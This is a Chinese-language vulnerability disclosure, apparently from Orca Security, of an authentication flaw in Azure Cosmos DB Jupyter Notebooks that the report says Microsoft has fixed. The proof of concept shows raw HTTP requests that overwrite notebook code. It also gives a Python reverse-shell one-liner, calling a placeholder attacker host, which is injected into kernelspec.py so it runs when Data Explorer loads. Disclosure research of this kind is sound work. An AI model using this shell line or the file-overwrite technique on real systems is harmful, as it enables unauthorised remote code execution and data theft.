我們最近在Azure Cosmos DB中發現了一個很嚴重的漏洞,即Cosmos DB Notebooks缺少身份驗證檢查。我們將該漏洞命名為“CosMiss”。簡而言之,如果攻擊者知道Notebook的“forwardingId”(即Notebook Workspace的UUID),他們就擁有Notebook的全部權限,包括讀寫訪問權,以及修改運行Notebook的容器的文件系統的能力。只要修改容器文件系統(即用於臨時Notebook託管的專用工作區),我們就能夠在Notebook容器中實現遠程代碼執行(RCE)。
發現該漏洞後,Orca Research Pod立即將其報告給微軟安全響應中心(MSRC),後者在兩天內修復了這個嚴重問題,這比我們在Azure Synapse中發現的Synapse漏洞的響應速度要快得多。我們驗證了修正版,可以確認現在所有的Cosmos DB Notebook用戶在訪問Notebook之前都需要在請求頭中有Authorization(授權)令牌。我們要感謝微軟的合作和快速行動,以堵住該漏洞。
CosMiss漏洞簡介該漏洞存在於Azure Cosmos DB Jupyter Notebooks,這是微軟的快速NoSQL數據庫,廣泛用於微軟自己的電子商務平台和零售行業,用於存儲目錄數據和訂單處理管道中的事件來源。
Jupyter Notebooks內置於Azure Cosmos DB中,被開發人員用來執行常見任務,比如數據清理、數據探索、數據轉換和機器學習。我們在研究中發現,Cosmos DB Jupyter Notebooks缺少身份驗證檢查。
這是特別危險的,因為開發人員使用Cosmos DB Notebooks來創建代碼,經常含有高度敏感的信息,比如嵌入在代碼中的機密信息(secrets)和私鑰。
“CosMiss”漏洞允許未經身份驗證的用戶獲得對Azure Cosmos DB Notebooks的讀寫訪問權、注入代碼並覆蓋代碼,從而實施遠程代碼執行(RCE)。
然而,攻擊者只有在知道Notebook Workspace的UUID(又叫forwardingId)的情況下才能夠利用該漏洞。據我們所知,獲得forwardingId的唯一方法是,以經過驗證的用戶的身份打開Notebook。但是forwardingId並未被記錄為是機密信息,所以我們沒有任何理由相信用戶會把它當成機密信息。
2022年10月3日,Orca Security向微軟報告了該漏洞,微軟在兩天內修復了該漏洞,現在要求每個Notebook會話的請求頭中有授權令牌。
Cosmos DB Notebooks簡介CosMiss漏洞存在於Cosmos DB Jupyter Notebooks中。 Azure Cosmos DB是一個快速NoSQL數據庫。 Azure Cosmos DB包含Jupyter Notebooks,這是一種開源交互開發環境(IDE),以便開發人員創建、執行和共享含有實時代碼、方程、可視化和敘事文本的文檔。由於開發人員使用Cosmos DB Notebooks來創建代碼,因此可能含有高度敏感的信息,比如嵌入在代碼中的機密信息和私鑰。
利用CosMiss的概念證明為了演示該漏洞,我們使用Azure Table API和Serverless Capacity模式創建了Cosmos DB。該漏洞還在Core SQL api(推薦)和吞吐量配置的部署環境上進行了驗證。
Cosmos DB Data Explorer blade中的Notebooks功能讓客戶可以使用Jupyter功能(在Python、C#或其他運行時環境中)訪問和可視化其數據。此外,客戶使用該功能檢查來自Cosmos DB的數據,並檢查可以使用API進行集成的其他數據源。
1. 不需要授權頭當用戶創建新的Notebook後,phoenixServiceUrl創建下列端點,它將生成以下項目:
POST
/api/controlplane/toolscontainer/cosmosaccounts/subscriptions/[tenant-id]/resourceGroups/Orca-
Research/providers/Microsoft.DocumentDB/databaseAccounts/orca-cosmos-
dev/containerconnections/multicontainer HTTP/2
Host: tools.cosmos.azure.com
Content-Length: 88
Sec-Ch-Ua: 'Google Chrome';v='105', 'Not)A;Brand';v='8', 'Chromium';v='105'
Authorization: Bearer
eyJ0eXAiOiJKV1QiLdaaaxxWMFRPSSIsImtpZCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGxWMFRPSSJ9.eyJhdWQddaaam5ldC8yMjdkY2ExZC1iMWE1LTQ0MDEtYTVmZi05N2Q5 OTMxZWE4YmUvIiwiaWF0IjoxNjY0NzE4NTI3LCJuYmYiOjE2NjQ3MTg1MjcsImV4cCI6MTY2NDcyMzIxOSwiYWNyIjoiMSIsndkbkZ3d1lKQUNNNjJjdmkrbERTVnRpQWIvdEpDOW 9HV2VFd2pwWGhsL2x3aStzVzZWWHB5UmV5ZFpwMVgiLCJhdI0N2QtOTc0ZTUzY2JkZjNjIiwiYXBwaWRhY3Icadasdddddab3NtbyIsIm9pZCI6IjNhMzJkNmU1LWEyYzMtNGM5M S1iOTA5LTc0N2YxNjQ2NDg3MSIsInB1aWQiOiIxMDAzMjAwMjM2RUJBODZEIiwicmgiOiIwLkFZSUFIY3A5SXFXeEFVU2xfNWZaa3g2b3ZrWklmM2tBdXRkUHVrUGF3ZmoyTUJPQ0 FHay4iLCJzY3AiOiJ1c2VyX2ltcGVyc29uYXRpb24iLCJzdWIiOiJZTElsRzB1anZDaktlSWo5OHozRk94R3ZvTjl2Umx3UFRtczlOa1dfQng0IiwidGlkIjoiMjI3ZGNhMWQtYj FhNS00NDAxLWE1ZmYtOTdkOTkzMWVhOGJlIiwidW5pcXVlX25hbWUiOiJjb3Ntb0BvcmNhc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1cG4iOiJjb3Ntb0BvcmN hc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiJuZ3VDVm1qZFhrS3RUSW5BaG9GbEFBIiwidmVyIjoiMS4wIiwieG1zX3RjZHQiOjE2MTg4MTYwODl9.Gyd 3LXwzBG1yj-JfO0PCXOyD0exC7U-MCXwJBdsadcadad3xLIRZ7NqBq5BhE0WXLV2cgziYf-CAT9QT6oy1yIn58RaRdMojlVbhCpxlfFTdnsOXiorzNwTHzcwwvWsM4fbl2vV-RKMO
Content-Type: application/json
Sec-Ch-Ua-Mobile:0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: 'macOS'
Accept: /
Origin: https://cosmos.azure.com
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://cosmos.azure.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5
{'cosmosEndpoint':'https://orca-cosmos-dev.documents.azure.com:443/','poolId':'default'}
圖1
圖2
響應如下:
圖3
我們可以看到以下項目被創建:
1. 一個https://seasia.tools.cosmos.azure.com端點。
2. 唯一端口(端口範圍是10000-10009,後面有詳細介紹)。
3. 充當會話/Notebook ID的唯一值(UUIDv4),又叫forwardingId(上面例子中的ab83e033-1670-4bac-a186-32a1c0dddfbc)。
我們可以看到服務器在後台發送的以下端點:
圖4
我們目前的forwardingId似乎是27f180bc-cf93-4c42-b23e-f27a5085da57。
如果檢查我們的Notebook服務器(即https://seasia.tools.cosmos.azure.com:10007/)發送的各種請求,似乎所有發送到服務器的請求都含有授權頭,如下面截圖所示:
圖5
當我們試圖刪除授權頭並發送相同的請求時,我們看到無需授權頭即可列出同一台服務器的不同Notebook。
https://seasia.tools.cosmos.azure.com:10007/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks
圖6
由於Cosmos DB Table和Python Query基於Jupyter(+Tornado服務器),我們可以查看作為平台一部分的各種端點:
https://github.com/jupyter-
server/kernel_gateway/blob/master/kernel_gateway/jupyter_websocket/swagger.json ]
( https://github.com/jupyter-
server/kernel_gateway/blob/master/kernel_gateway/jupyter_websocket/swagger.json ) # 36
圖7
在檢查各種Security Definitions(安全定義)時,我們可以假設默認情況下當前Security Configurations(安全配置)並沒有正確設置,因為需要授權方法用授權頭或查詢字符串來設置。
考慮到這一點,我們現在可以嘗試濫用這種錯誤配置來操縱各種Notebook和模板。
2. 覆蓋、刪除和注入代碼現在不妨嘗試覆蓋當前的Notebook數據。首先,我們在Notebook中編寫一些示例代碼。
圖8
然後我們保存它:
圖9
我們還可以通過Burp來檢查Notebook(Untitled.ipynb):
圖10
此外,我們可以從以下端點獲取kernel_id:
https://seasia.tools.cosmos.azure.com:10002/api/containergateway/ab83e033-1670-4bac-a186-
32a1c0dddfbc/api/kernels/
發送上述請求,我們將獲得以下id:
圖11
現在不妨使用以下的JSON攻擊載荷向Notebook本身發送PUT請求,從而覆蓋隨機的Notebook:
source parameter ⇒ “print(’Hacked’)”
text parameter ⇒ “print(’Hacked’)”
PUT/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks/Untitled.ipynb HTTP/2
Host: [seasia.tools.cosmos.azure.com:1000](
Content-Length: 983
Sec-Ch-Ua: 'Google Chrome';v='105', 'Not)A;Brand';v='8', 'Chromium';v='105'
Content-Type: application/json
Sec-Ch-Ua-Mobile:0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: 'macOS'
Accept: */*
Origin: [
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: [
Accept-Encoding: gzip, deflate
Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5
{'kernel':{'id':null,'name':'python3'},'name':'',
'content': {'cells': [{'cell_type': 'code', 'execution_count': 1, 'id': '47bdbef0-ea14-4960-8789-7983e63312dd', 'metadata': {'collapsed': true, 'execution': {'iopub.execute_input': '2022-10-02T08:06:27.283Z', 'iopub.status.busy': '2022-10-02T08:06:27.277Z', 'iopub.status.idle': '2022-10-02T08:06:27.299Z', 'shell.execute_reply': '2022-10-02T08:06:27.292Z'}, 'jupyter': {'outputs_hidden': false, 'source_hidden': false}, 'nteract': {'transient': {'deleting': false}}, 'trusted': true}, 'outputs': [{'name': 'stdout', 'output_type': 'stream', 'text': 'hacked\\n'}], 'source': 'print('Hacked!')'}], 'metadata': {'language_info': {'file_extension': 'ipynb', 'mimetype': 'application/json', 'name': 'python', 'version': '3.7'}, 'nteract': {'version': 'dataExplorer 1.0'}}, 'nbformat': 4, 'nbformat_minor': 5}, 'format': 'json', 'mimetype': null, 'size': 993, 'writable': true, 'path':'notebooks/Untitled.ipynb','type':'notebook'}
圖12
然後,我們通過退出Notebook本身(點擊X符號)來檢查更新後的Notebook,然後通過點擊Tables API標題右側的Refresh(刷新)按鈕來刷新表/Notebook:
圖13
我們可以看到,通過將精心設計的攻擊載荷直接發送到服務器,Notebook中的代碼被覆蓋了。我們還設法檢索任何Notebook,刪除並向其中註入代碼,不管我們是連接到Azure,還是只是一個身份未經認證的用戶。
圖14
在下面的視頻中,我們演示上述概念證明。
圖15
3. 遠程代碼執行(RCE)當通過Azure UI加載Cosmos Data Explorer時,Explorer儀表板由以下文件構建:
/home/cosmosuser/.local/lib/python3.6/site-packages/jupyter_client/kernelspec.py
現在,由於我們成功地覆蓋了/home/cosmosuser目錄中的任何文件,我們可以操縱該文件,並向其添加以下行:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\'ATTACKER_ID\\',ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\\'/bin/bash\\')
這樣一來,當Data Explorer加載時,整個python代碼的這部分也將被執行,並最終將通過客戶機為任何遠程攻擊者提供反向shell。
圖16
通過發送含有文件原始內容+ RCE行的PUT請求來修改文件:
圖17
刷新Data Explorer頁面後,我們應該得到一個反向shell。
圖18
以下視頻演示了這個RCE:
圖19
Recommended Comments